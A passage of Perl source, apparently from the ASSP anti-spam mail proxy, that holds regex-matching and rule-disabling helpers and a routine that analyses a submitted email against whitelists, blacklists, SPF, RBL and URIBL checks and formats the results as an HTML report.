                    $ii =~ s/(\~([^\~]+)?\~|([^\|]+)?)\s*\=\>\s*([+\-]?(?:0?\.\d+|\d+\.\d+|\d+))?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?/$2/o;

                    next if !$ii;
#					$ii =~ s/\~//go;

                    $found = '';
                    eval{$found = $1 || $2 if $srch =~ m/($ii)/i;};
                    if ($@) {
                        mlog(0,"ConfigError: '$name' regular expression error in line $counter of file $fil - line $line of include '$file' for '$iisave': $@");
                        &disableRegex ($name, $file, $ii, $@);
                        next;
                    }
                    if ($found)
                    {
 
                        mlog(0,"Info: '$found' matched in regular expression '$name' - in line $counter of file $fil - line ".($complexIncStart?"$complexIncStart-$line":$line)." of file '$file' with '$iisave'") if ($BombLog > 2 or $extLog) && !$nolog;
                        close ($INCFILE);
                        $incFound = "<a href=\"javascript:void(0);\" onclick=\"javascript:popFileEditor('$fil',1);\" onmouseover=\"showhint('edit file $fil', this, event, '250px', '1'); return true;\">$Config{$name}\[line $counter\]</a>|incl:<a href=\"javascript:void(0);\" onclick=\"javascript:popFileEditor('$file',1);\" onmouseover=\"showhint('edit file $file', this, event, '250px', '1'); return true;\">$file\[line ".($complexIncStart?"$complexIncStart-$line":$line)."\]</a>";

                        close ($BOMBFILE);
   
                        return $iisave;
                    }
                    $complexIncStart = 0;
                }
                close $INCFILE;
                next;
            } elsif ($i =~ /^\s*#\s*include\s+(.+)s*/io) {
                mlog(0,"ConfigError: '$name' unable to open include file $1 in line $counter of '$file'");
                next;
            } else {
                $found = '';
    
                eval{$found = $1 || $2 if $srch =~ m/($i)/i;};
                if ($@) {
                    mlog(0,"ConfigError: '$name' regular expression error in line $counter of '$file' for '$isave': $@");
                    &disableRegex ($name, $file, $i, $@);
                    next;
                }
            }
            if ($found)
            
            {

                mlog(0,"Info: '$found' matched in regular expression '$name' - in line $counter of file $fil - line" .($complexStartLine?"$complexStartLine-$counter":$counter). " of file '$file' with '$isave'") if ($BombLog > 2 or $extLog) && !$nolog;
                close ($BOMBFILE);
                $incFound = "<a href=\"javascript:void(0);\" onclick=\"javascript:popFileEditor('$file',1);\" onmouseover=\"showhint('edit file $file', this, event, '250px', '1'); return true;\">$Config{$name}\[line ".($complexStartLine?"$complexStartLine-$counter":$counter)."\]</a>";
                return $isave;
            }
            $complexStartLine = 0;
        }
        close ($BOMBFILE);
    } else {
        my $regex;
        $fil =~ s/(\~([^\~]+)?\~|([^\|]+)?)\s*\=\>\s*([+\-]?(?:0?\.\d+|\d+\.\d+|\d+))?\s*(?:\s*\:\>\s*(?:[nNwWlLiI\+\-\s]+)?)?/$2/o; # skip weighted regexes

 #       $fil =~ s/\~//g;
        my @reg;
        my $bd=0;
        my $sk;
        my $t;
        foreach my $s (split('',$fil)) {
            if ($s eq '\\') {
                $sk = 1;
                $t .= $s;
                next;
            } elsif ($sk == 1) {
                $sk = 0;
                $t .= $s;
                next;
            }
            if ($s eq '(' or $s eq '[' or $s eq '{') {
                $bd++;
                $t .= $s;
                next;
            } elsif ($s eq ')' or $s eq ']' or $s eq '}') {
                $bd--;
                $t .= $s;
                next;
            }
            if ($bd > 0) {
                $t .= $s;
                next;
            } elsif ($s eq '|') {
                push @reg, $t;
                $t = '';
                $sk = 0;
                next;
            } else {
                $t .= $s;
            }
        }
        push @reg,$t if $t;
        
        while (@reg) {
            $regex = shift @reg;
            if (my ($i) = eval{$srch =~ m/($regex)/i}) {
                mlog(0,"Info: '$name' regular expression '$regex' match with '$i' ") if ($BombLog > 2 or $extLog) && !$nolog;
                $incFound = $i;
                return $i;
            }
        }
        if ($@) {
            mlog(0,"ConfigError: '$name' regular expression error of '$fil' for '$name': $@");
        }
    }
    return 0;
}


sub disableRegex {
	my ($name, $file, $regex, $error) = @_;
    mlog(0,"Info: regular expression '$regex' in '$file' disabled");
    my $BOMBFILE;
    my $fil = "$base/$file";
    open( $BOMBFILE, "<$fil" );
    my @lines = <$BOMBFILE>;
    close($BOMBFILE);
    unlink "$fil.bak";
    rename( "$fil", "$fil.bak" );
    open( $BOMBFILE, ">$fil" );
    my $time = timestring();
    foreach my $k (@lines) {
        	$k =~ s/(\Q$regex\E)/## $time disabled ##: $1 $error/i;        
        	print $BOMBFILE "$k";
      }
    close($BOMBFILE);
}
sub ConfigAnalyze {
    my ( $ba, $st, $fm, %fm, %to, %wl, $ip, $helo, $text, $ip3, $received , $emfd);
    my $checkRegex = ! $silent && $AnalyzeLogRegex;
    my $mail = $qs{mail};
    $mail =~ s/\r?\n/\r\n/gos;
    my $hl = getheaderLength(\$mail);
    my $mBytes = $MaxBytes ? $MaxBytes + $hl : 10000 + $hl;
    $mail = substr( $qs{mail}, 0, $mBytes );
    $fm = "analyze is restricted to a maximum length of $mBytes bytes<br />\n" if length($qs{mail}) > length($mail);
    if ($mail =~ /X-Assp-ID: (.+)/io) {
        $fm .= "ASSP-ID: $1<br />";
    }
    if ($mail =~ s/X-Assp-Envelope-From:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/io) {
            $s = batv_remove_tag(0,lc $1,'');
            $fm{$s}=1;
            ($emfd) = $s =~ /\@(.*)/o;
        }
    }
    if ($mail =~ s/X-Assp-Recipient:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/o) {
            $s = batv_remove_tag(0,lc $1,'');
            $to{$s}=1;
        }
    }
    if (! scalar keys %to && $mail =~ s/X-Assp-Envelope-For:\s*($HeaderValueRe)//ios) {
        my $s = $1;
        &headerUnwrap($s);
        if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/o) {
            $s = batv_remove_tag(0,$1,'');
            $to{lc $s}=1;
        }
    }
    $fm .= "removed all local X-ASSP- header lines for analysis<br />\n"
        if ($mail =~ s/x-assp-[^()]+?:\s*$HeaderValueRe//gios);
    my $mystatus;
    my @t;
    my $ret;
    my $bombsrch;
    my $orgmail;
    my @sips;
	my $foundReceived;
    my $sub = undef;
    my $wildcardUser = lc $wildcardUser;
    my $headerLen = index($mail,"\015\012\015\012");
    

    if ($mail) {
        $orgmail = $mail;
        my $name = $myName;
        $name =~ s/(\W)/\\$1/go;
        if ($headerLen > -1) {
            my $fhh;
            do {
               $fhh = rand(1000000);
            } while exists $Con{$fhh};
            $Con{$fhh}->{header} = $mail;
            $Con{$fhh}->{headerpassed} = 1;
            &makeSubject($fhh);

          
#            $sub = $Con{$fhh}->{subject3} if defined $Con{$fhh}->{subject3};

            headerUnwrap($sub) if (defined $sub);
            delete $Con{$fhh};
        }
        if ($mail =~ /\nsubject: *($HeaderValueRe)/iso) {
        	$sub = substr($1,0,$maxSubjectLength);
        	headerUnwrap($sub);
   
        }

        if ( $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*ip\s*=\s*($IPRe)/ios ) {
            $ip = ipv6expand(ipv6TOipv4($1));
            $mystatus="ip";
        } else {
            while ( $mail =~ /Received:\s+from\s+.*?\(\[($IPRe).*?helo=(.{0,64})\)(?:\s+by\s+$myName)?\s+with/isgo ) {
                $ip = ipv6expand(ipv6TOipv4($1));
                $helo = $2;
                $foundReceived = -1;
            }
        }

		$fm .= "Connecting IP: '$ip'<br />\n" if $ip;
        my $conIP = $ip;
        ($ip3) = $ip =~ /(.*)\.\d+$/o;
        if (!$helo && $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*helo\s*=\s*([^\r\n]+)/ios ) {
            $helo = $1;
            $mystatus="helo";
        }
        $fm .= "Connecting HELO: $helo<br />\n" if $helo;
        if ( $mail =~ /(?:^[\s\r\n]*|\r?\n)\s*text\s*=\s*(.+)/ios ) {
            $text = $1;
            $mystatus="text";
            $fm .= "found 'text=TEXT' - lookup regular expressions in TEXT <br />\n";
        } else {
            $text = $mail;
        }
		
		$text =~ s/(?:\r?\n)+/\r\n/gos if $mystatus;
        $fm = "<div class=\"textBox\"><b><font size=\"3\" color=\"#003366\">General Hints:</font></b><br /><br />\n$fm</div>\n" if $fm;
        $fm .= "<div class=\"textBox\"><br />";
        
        if ($ispHostnames) {
            my $ispHost;
            while ( $mail =~ /(Received:\s+from\s+(?:([^\s]+)\s)?(?:.+?)($IPRe)(.{1,80})by.{1,20}($ispHostnamesRE))/gis ) {
                $helo = $2;
                $received = $1;
                $ispHost = $4;
                $ip = ipv6expand(ipv6TOipv4($3));
                $ip3 = ipNetwork($ip,1);
                $foundReceived = 1;
            }
            if ($received) {
                $fm =~ s/(Connecting IP: '[^']+')/$1 is an <a href='.\/ispip'>ISPIP<\/a>/o;
                $fm =~ s/(Connecting HELO: [^<]+)/$1 is HELO from ISP-host: <a href='.\/ispHostnames'>$ispHost<\/a>/o;
                $fm .= "<b><font color='orange'>&bull;</font>ISP/Secondary Header:</b>'$received'<br />\n";
                $fm .= "<b><font color='orange'>&bull;</font>Switched to ISP/Secondary IP:</b> '$ip'<br /><br />\n";
            }
        }

        if ($foundReceived <= 0 && !$mystatus) {
            $foundReceived += () = $mail =~ /(Received:\s*from\s*)/isgo;
            $fm .= "<b><font color='red'>&bull;</font>no foreign received header line found</b><br /><br />\n"
              if ($foundReceived <= 0) ;
        }


        
        $fm .= "<b><font color=\"#003366\">sender and reply addresses:</font></b><br />";
        my $mailfrom;
        foreach (keys %fm) {
            $fm .=  "MAIL FROM: $_ ,";
            $mailfrom = $_;
        }
        while ($mail =~ /(?:^|\n)(from|sender|reply-to|errors-to|list-\w+|ReturnReceipt|Return-Receipt-To|Disposition-Notification-To):($HeaderValueRe)/igos) {
            my $who = $1;
            my $s = $2;
            &headerUnwrap($s);
            while ($s =~ /($EmailAdrRe\@$EmailDomainRe)/go) {
                my $ss = batv_remove_tag(0,$1,'');
                $fm{lc $ss}=1;
                $fm .=  " $who: $ss ,";
            }
        }
        $fm =~ s/,$/<br \/><br \/>/o;

        $fm .= "<b><font color=\"#003366\">recipient addresses:</font></b><br />";
        foreach (keys %to) {
            $fm .=  "RCPT TO: $_ ,";
            my $newadr = RcptReplace($_,$mailfrom,'RecRepRegex');
            $fm =~ s/,$/(replaced with $newadr),/o if lc($newadr) ne lc $_;
        }
        while ($mail =~ /(?:^|\n)(to|cc|bcc):($HeaderValueRe)/igos) {
            my $who = $1;
            my $s = $2;
            &headerUnwrap($s);
            while ($s =~ /($EmailAdrRe\@$EmailDomainRe)/go) {
                my $ss = batv_remove_tag(0,$1,'');
                $to{lc $ss}=1;
                $fm .=  " $who: $ss ,";
            }
        }
        $fm =~ s/,$/<br \/><br \/>/o;

        $fm .= "<b><font size=\"3\" color=\"#003366\">Feature Matching:</font></b><br /><br />";


        while ( $mail =~ /($EmailAdrRe\@$EmailDomainRe)/go ) {
            my $ad    = lc $1;
            next if $ad =~ /\=/;
#            my $mf   = $ad;
            my $mf = batv_remove_tag(0,$ad,'');
            my $mfd  = $1 if $mf =~ /\@(.*)/;
            my $mfdd = $1 if $mf =~ /(\@.*)/;
 
            next if $fm{$ad};
			$fm{$ad}=1;

            if (matchSL( $mf, 'noProcessing' )) {
                $fm .=
"<b><font color='orange'>&bull;</font> <a href='./#noProcessing'>noProcessing</a></b>: '$slmatch' ($ad)<br />\n";
              }
            if ( $noProcessingDomains && $mf =~ /($NPDRE)/ ) {
                $fm .=
"<b><font color='orange'>&bull;</font> <a href='./#noProcessingDomains'>noProcessingDomains</a></b>: '$1' ($ad)<br />\n";
              }
            if ( matchSL( $mf, 'noProcessingFrom' ) ) {
                $fm .=
"<b><font color='orange'>&bull;</font> <a href='./#noProcessingFrom'>noProcessingFrom</a></b>: '$slmatch' ($ad)<br />\n";
              }
            if ($blackListedDomains && $mf =~ /($BLDRE)/ ) {
                $fm .=
"<b><font color='red'>&bull;</font> <a href='./#blackListedDomains'>blackListedDomains</a></b>: '$1' ($ad)<br />\n";
              }
            if ($weightedAddresses) {
            	my ($slmatch,$w) = &HighWeightSL($mf, 'weightedAddresses');
            	if ($w) {
            		$fm .=
"<b><font color=red>&bull;</font> <a href='./#weightedAddresses'>weightedAddresses </a></b>: '$slmatch' ($ad) with valence: $blValencePB - PB value = $w<br />\n";
              	}
             }
            if ($whiteListedDomains && $mf =~ /($WLDRE)/ ) {
                $fm .=
"<b><font color=#66CC66>&bull;</font> <a href='./#whiteListedDomains'>whiteListedDomains</a></b>: '$1' ($ad)<br />\n";
              }

            $fm .= "<b><font color='orange'>&bull;</font> <a href='./lists'>Redlist</a></b>: '$ad'<br />\n"
              if $Redlist{$ad};
            $fm .=
"<b><font color=#66CC66>&bull;</font> <a href='./lists'>Redlisted Domain/ Wildcard</a></b>: '$wildcardUser$mfdd'<br />\n"
              if $Redlist{"$wildcardUser$mfdd"};
            $fm .=
"<b><font color=#66CC66>&bull;</font> <a href='./lists'>Whitelisted WildcardDomain</a></b>: '$wildcardUser$mfdd'<br />\n"
              if &Whitelist("$wildcardUser$mfdd");

            if (&Whitelist($ad)) {
                $fm .= "<b><font color=#66CC66>&bull;</font> <a href='./lists'>Whitelist</a></b>: '$ad'<br />\n";
                foreach my $t (sort keys %to) {
                    if (! &Whitelist($ad,$t)) {
                        $fm .= "<b><font color='red'>&bull;</font> <a href='./lists'>Whitelist removed for $t </a></b>: '$ad'<br />\n";
                    }
                }
            }

            foreach my $t (sort keys %to) {
                $fm .=
"<b><font color='red'>&bull;</font> <a href='./#persblackdb'>on personal Blacklist for $t </a></b>: '$ad'<br />\n"
                    if exists $PersBlack{lc "$t,$ad"};
            }
            
            $fm .=
"<b><font color=#66CC66>&bull;</font> <a href='./#noURIBL'>No URIBL sender</a></b>: '$mf'<br />\n"
              if matchSL( $mf, 'noURIBL' );
        }

        if ( $preHeaderRe && $text =~ /($preHeaderReRE)/ ) {
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#preHeaderRe'>preHeaderRe</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "preHeaderRe", ($1||$2) );
            $fm .= "<font color='red'>&bull;</font> matching preHeaderRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $noSPFRe && $text =~ /($noSPFReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#noSPFRe'>No SPF RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "noSPFRe", ($1||$2) );
            $fm .= "<font color='green'>&bull;</font> matching noSPFRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $strictSPFRe && $text =~ /($strictSPFReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#strictSPFRe'>Strict SPF RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "strictSPFRe", ($1||$2) );
            $fm .= "<font color='green'>&bull;</font> matching strictSPFRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $blockstrictSPFRe && $text =~ /($blockstrictSPFReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#blockstrictSPFRe'>Block Strict SPF RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "blockstrictSPFRe", ($1||$2) );
            $fm .= "<font color='green'>&bull;</font> matching blockstrictSPFRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
		if ( exists $SPFCache{"$ip $emfd"} ) {
            my ( $ct, $status, $result ) = split( ' ', $SPFCache{"$ip $emfd"} );
            my $color = (($status eq 'pass') ? 'green' : 'orange');
            $fm .= "<b><font color='$color'>&bull;</font> $ip is in SPFCache</b>: status=$status with helo=$result<br />\n";
          }
       	if ($ip && ($mailfrom || $helo)) {
            my $tmpfh = time;
            $Con{$tmpfh} = {};
            $Con{$tmpfh}->{ip} = $ip;
            $Con{$tmpfh}->{mailfrom} = $mailfrom;
            $Con{$tmpfh}->{helo} = $helo;
            if (SPFok($tmpfh)) {
                $fm .= "<b><font color='green'>&bull;</font> SPF-check returned OK</b> for $ip -&gt; $mailfrom, $helo<br />\n";
            } else {
                $fm .= "<b><font color='red'>&bull;</font> SPF-check returned FAILED</b> for $ip -&gt; $mailfrom, $helo<br />\n";
            }
            delete $Con{$tmpfh};
        }
        if ( $whiteRe && $text =~ /($whiteReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#whiteRe'>White RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "whiteRe", ($1||$2) );
            $fm .= "<font color='green'>&bull;</font> matching whiteRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $redRe && $text =~ /($redReRE)/ ) {
            $fm .= "<b><font color='yellow'>&bull;</font> <a href='./#redRe'>Red RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "redRe", ($1||$2) );
            $fm .= "<font color='yellow'>&bull;</font> matching redRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $npRe && $text =~ /($npReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#npRe'>No Processing RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "npRe", ($1||$2) );
            $fm .= "<font color='green'>&bull;</font> matching npRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $baysSpamLoversRe && $text =~ /($baysSpamLoversReRE)/ ) {
            $fm .=
"<b><font color='green'>&bull;</font> <a href='./#baysSpamLoversRe'>Bayes Spamlover RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "baysSpamLoversRe", ($1||$2) );
            $fm .=
"<font color='green'>&bull;</font> matching baysSpamLoversRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
        if ( $SpamLoversRe && $text =~ /($SpamLoversReRE)/ ) {
            $fm .= "<b><font color='green'>&bull;</font> <a href='./#SpamLoversRe'>Spamlover RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "SpamLoversRe", ($1||$2) );
            $fm .=
              "<font color='green'>&bull;</font> matching SpamLoversRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }

        if (  $testRe && ($bombsrch = SearchBombW( "testRe", \$text ))) {
            if ( !$DoTestRe ) {
                $fm .=
"<i><font color='yellow'>&bull;</font> <a href='./#DoTestRe'>testRe</a> is <b>disabled because DoTestRe is disabled</b></i><br />\n";
              }
            $fm .= "<b><font color='yellow'>&bull;</font> <a href='./#testRe'>testRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='yellow'>&bull;</font> matching testRe($incFound): '$weightMatch'<br />\n";
          }

        if ( $contentOnlyRe && $text =~ /($contentOnlyReRE)/ ) {
            $fm .=
"<b><font color='yellow'>&bull;</font> <a href='./#contentOnlyRe'>Restrict to Content Only RE</a></b>: '".($1||$2)."'<br />\n";
            $bombsrch = SearchBomb( "contentOnlyRe", ($1||$2) );
            $fm .=
              "<font color='yellow'>&bull;</font> matching contentOnlyRe($incFound): '$bombsrch'<br />\n"
              if $bombsrch;
          }
                my $textheader;
        if ($headerLen > -1 ) {
             $textheader = substr($text,0,$headerLen);
        } else {
            $textheader = $text;
        }

        if (  $bombRe && ($bombsrch = SearchBombW( "bombRe", \$text ))) {
            if ( !$DoBombRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombRe'>bombRe</a> is <b>disabled because DoBombRe is disabled</b></i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombRe'>bombRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching bombRe($incFound): '$weightMatch'<br />\n";
          }

        if (  $bombDataRe && ($bombsrch = SearchBombW( "bombDataRe", \$text ))) {
            if ( !$DoBombRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombRe'>bombDataRe</a> is <b>disabled because DoBombRe is disabled</b></i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombDataRe'>bombDataRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching bombDataRe($incFound): '$weightMatch'<br />\n";
          }

        if (  $bombHeaderRe && ($bombsrch = SearchBombW( "bombHeaderRe", \$textheader ))) {
            if ( !$DoBombHeaderRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombHeaderRe'>bombHeaderRe</a> is <b>disabled</b></i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombHeaderRe'>bombHeaderRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching bombHeaderRe($incFound): '$weightMatch'<br />\n";
          }
        
        if (  $bombSubjectRe && defined $sub && ($bombsrch = SearchBombW( "bombSubjectRe", \$sub))) {
            if ( !$DoBombHeaderRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombHeaderRe'>bombSubjectRe</a> is <b>disabled</b> because DoBombHeaderRe is disabled</i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombSubjectRe'>bombSubjectRe</a></b>: '$bombsrch'<br />\n";
            $fm .=
              "<font color='red'>&bull;</font> matching bombSubjectRe($incFound): '$weightMatch'<br />\n";
         
         } elsif (  $bombSubjectRe && $mystatus eq "text" && ($bombsrch = SearchBombW( "bombSubjectRe", \$text))) {
            if ( !$DoBombHeaderRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombHeaderRe'>bombSubjectRe</a> is <b>disabled</b> because DoBombHeaderRe is disabled</i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombSubjectRe'>bombSubjectRe</a></b>: '$bombsrch'<br />\n";
            $fm .=
              "<font color='red'>&bull;</font> matching bombSubjectRe($incFound): '$weightMatch'<br />\n";
        }

        if (  $bombCharSets && ($bombsrch = SearchBombW( "bombCharSets", \$textheader ))) {
            if ( !$DoBombHeaderRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBombHeaderRe'>bombCharSets</a> is <b>disabled</b> because DoBombHeaderRe is disabled</i><br />\n";
              }
            $fm .=
              "<b><font color='red'>&bull;</font> <a href='./#bombCharSetsRe'>bombCharSetsRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching bombCharSets($incFound): '$weightMatch'<br />\n";
          }
        
        if (  $bombSuspiciousRe && ($bombsrch = SearchBombW( "bombSuspiciousRe", \$text ))) {
            $fm .=
"<b><font color='red'>&bull;</font> <a href='./#bombSuspiciousRe'>bombSuspiciousRe</a></b>: '$bombsrch'<br />\n";
            $fm .=
"<font color='red'>&bull;</font> matching bombSuspiciousRe($incFound): '$weightMatch'<br />\n";
          }
        

        if (  $blackRe && ($bombsrch = SearchBombW( "blackRe", \$text ))) {
            if ( !$DoBlackRe ) {
                $fm .=
"<i><font color='red'>&bull;</font> <a href='./#DoBlackRe'>blackRe</a> is  <b>disabled</b></i><br />\n";
              }
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#blackRe'>blackRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching blackRe($incFound): '$weightMatch'<br />\n";
          }

        if (  $scriptRe && ($bombsrch = SearchBombW( "scriptRe", \$text ))) {
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#scriptRe'>scriptRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching scriptRe($incFound): '$weightMatch'<br />\n";
          }

        if (  $bombSenderRe && ($bombsrch = SearchBombW( "bombSenderRe", \$textheader )))
        {
            $fm .= "<b><font color='red'>&bull;</font> <a href='./#bombSenderRe'>bombSenderRe</a></b>: '$bombsrch'<br />\n";
            $fm .= "<font color='red'>&bull;</font> matching bombSenderRe($incFound): '$weightMatch'<br />\n";
        }
        
        my $obfuscatedip;
        my $obfuscateduri;
        my $maximumuniqueuri;
        my $maximumuri;
        if ( !$ValidateURIBL )
        {
            $fm .=
"<i><font color='red'>&bull;</font> <a href='./#ValidateURIBL'>URIBL check</a> is <b>disabled because ValidateURIBL is disabled</b></i><br />\n";
        } else {
            my $tmpfh = time;
            $Con{$tmpfh} = {};
            $Con{$tmpfh}->{mailfrom} = $mailfrom;
            my $color = 'green';
            my $failed = 'OK';
            my $res = &URIBLok_Run($tmpfh,\$text,$ip,'');
            if (! $res) {
                $color = 'red';
                $failed = 'failed';
            }
            $fm .=
"<b><font color='$color'>&bull;</font> <a href='./#ValidateURIBL'>URIBL check</a></b>: '$failed'<br />\n";
            $fm .=
"<font color='$color'>&nbsp;&bull;</font> URIBL result: '$Con{$tmpfh}->{messagereason}'<br />" if $Con{$tmpfh}->{messagereason};

            $obfuscatedip = $Con{$tmpfh}->{obfuscatedip};
            $obfuscateduri= $Con{$tmpfh}->{obfuscateduri};
            $maximumuniqueuri = $Con{$tmpfh}->{maximumuniqueuri};
            $maximumuri = $Con{$tmpfh}->{maximumuri};
            delete $Con{$tmpfh};
        }

        my $cOK;
        ($mail,$cOK) = &clean( substr( $mail, 0, $mBytes ) );
        $mail =~ s/^helo:\s*\r?\nrcpt\s*\r?\n//o;

        if ($helo) {
            $fm .= "<b><font color='red'>&bull;</font> HELO Blacklist</b>: '$helo'</b><br />\n"
              if ( $HeloBlack{ lc $helo } );
            $fm .=
"<b><font color='#66CC66'>&bull;</font> <a href='./#heloBlacklistIgnore'>HELO Blacklist Ignore</a></b>: '$helo'</b><br />\n"
              if ( $heloBlacklistIgnore && $helo =~ /$HBIRE/ );
            if ( !$DoInvalidFormatHelo ) {
                $fm .= "<b><font color='orange'>&bull;</font>invalidFormatHeloRe not activated</b><br />\n";
              }

            if ( $invalidFormatHeloRe && $helo !~ /$validFormatHeloReRE/ && ($bombsrch = SearchBombW( "invalidFormatHeloRe", \$helo )))
            {
                $fm .= "<b><font color='red'>&bull;</font> <a href='./#invalidFormatHeloRe'>invalidFormatHeloRe</a></b>: '$bombsrch'<br />\n";
                $fm .= "<font color='red'>&bull;</font> matching invalidFormatHeloRe($incFound): '$weightMatch'<br />\n";
            }
        }


        if ( exists $PBBlack{$ip} ) {
            my ( $ct, $ut, $pbstatus, $value, $sip, $reason ) = split( ' ', $PBBlack{$ip} );
            push( @t, 0.97 );

            $fm .=
"<b><font color='red'>&bull;</font> $ip is in <a href='./#pbdb'>PB Black</a></b>: score:$value, last event - $reason<br />\n";
          }
        if ( exists $PBWhite{$ip} ) {
            my ( $ct, $ut, $pbstatus, $sip, $reason ) = split( ' ', $PBWhite{$ip} );


            $fm .= "<b><font color=#66CC66>&bull;</font> $ip is in <a href='./#pbdb'>PB White</a></b><br />\n";
          }

        if ( $ret = matchIP( $ip, 'noProcessingIPs', 0, 1 ) ) {
            $fm .=
"<b><font color='green'>&bull;</font> IP $ip is in <a href='./#noProcessingIPs'>noProcessingIPs</a> ($ret)</b><br />\n";
          }
        if ( $ret = matchIP( $ip, 'whiteListedIPs', 0, 1 ) ) {
            $fm .=
"<b><font color='green'>&bull;</font> IP $ip is in <a href='./#whiteListedIPs'>whiteListedIPs</a> ($ret)</b><br />\n";
          }
        if ( $ret = matchIP( $ip, 'noPB', 0, 1 ) ) {
            $fm .=
              "<b><font color='green'>&bull;</font> IP $ip is in <a href='./#noPB'>noPB IPs</a> ($ret)</b><br />\n";
          }

        if ( exists $RBLCache{$ip} ) {
                my ( $ct, $mm, $status, @rbllists ) = split( ' ', $RBLCache{$ip} );
                $mm = '20'.$mm.':00';
                $mm =~ s/\// /o;
                $status = ( $status == 2 ? 'as ok at '.$mm : "as not ok at $mm , listed by @rbllists" );
                $fm .=
                  "<b><font color='red'>&bull;</font> $ip is in RBLCache</b>: inserted $status<br />\n";
        }


        if ( exists $MXACache{$emfd} ) {
            my ($ct,$status) = split(' ',$MXACache{$emfd},2);
            $fm .= "<b><font color='green'>&bull;</font> domain $emfd has valid MXA record</b>: $status<br />\n";
        }
        if ( exists $PTRCache{$ip} ) {
            my ( $ct, $status, $dns ) = split( ' ', $PTRCache{$ip} );
            my %statList = (
                1 => 'no PTR',
                2 => "PTR OK - $dns",
                3 => "PTR NOTOK - $dns"
            );
            my $color = ($status == 2 ? 'green' : 'red');
            $status = $statList{$status};
            $fm .= "<b><font color='$color'>&bull;</font> $ip is in PTRCache</b>: status=$status<br />\n";
          }
        if ( exists $RWLCache{$ip} ) {
            my ( $ct, $status ) = split( ' ', $RWLCache{$ip} );
            my %statList = (
                1 => 'tusted',
                2 => 'trusted but RWLminHits not reached',
                3 => 'trusted and whitelisted',
                4 => 'not listed'
            );
            my $color = ($status == 4 ? 'orange' : 'green');
            $status = $statList{$status};
            $fm .= "<b><font color='$color'>&bull;</font> $ip is in RWLCache</b>: status=$status<br />\n";
          }
        if ( exists $SBCache{$ip} ) {
            my ( $ct, $status, $data ) = split( '!', $SBCache{$ip} );
            my %statList = (
                0 => 'not classified',
                1 => 'black country',
                2 => 'white SenderBase',
                3 => 'changed to black country'
            );
            my $color = 'orange';
            $color = 'red' if $status % 2;
            $color = 'green' if $status == 2;
            $status = $statList{$status};
            $data =~ s/\|/, /og;
            $fm .= "<b><font color='$color'>&bull;</font> $ip is in CountryCache</b>: status=$status, data=$data<br />\n";
          }
        if ( $ret = matchIP( $ip, 'acceptAllMail', 0, 1 ) ) {
            $fm .=
"<b><font color='green'>&bull;</font> IP $ip is in <a href='./#acceptAllMail'>Accept All Mail</a> ($ret)</b><br />\n";
          }
        if ( $ret = matchIP( $ip, 'ispip', 0, 1 ) ) {
            $fm .=
"<b><font color='green'>&bull;</font> IP $ip is in <a href='./#ispip'>ISP/Secondary MX Servers</a> ($ret)</b><br />\n";
          }

        if ( $ret = matchIP( $ip, 'denySMTPConnectionsFrom', 0, 1 ) ) {
                $fm .=
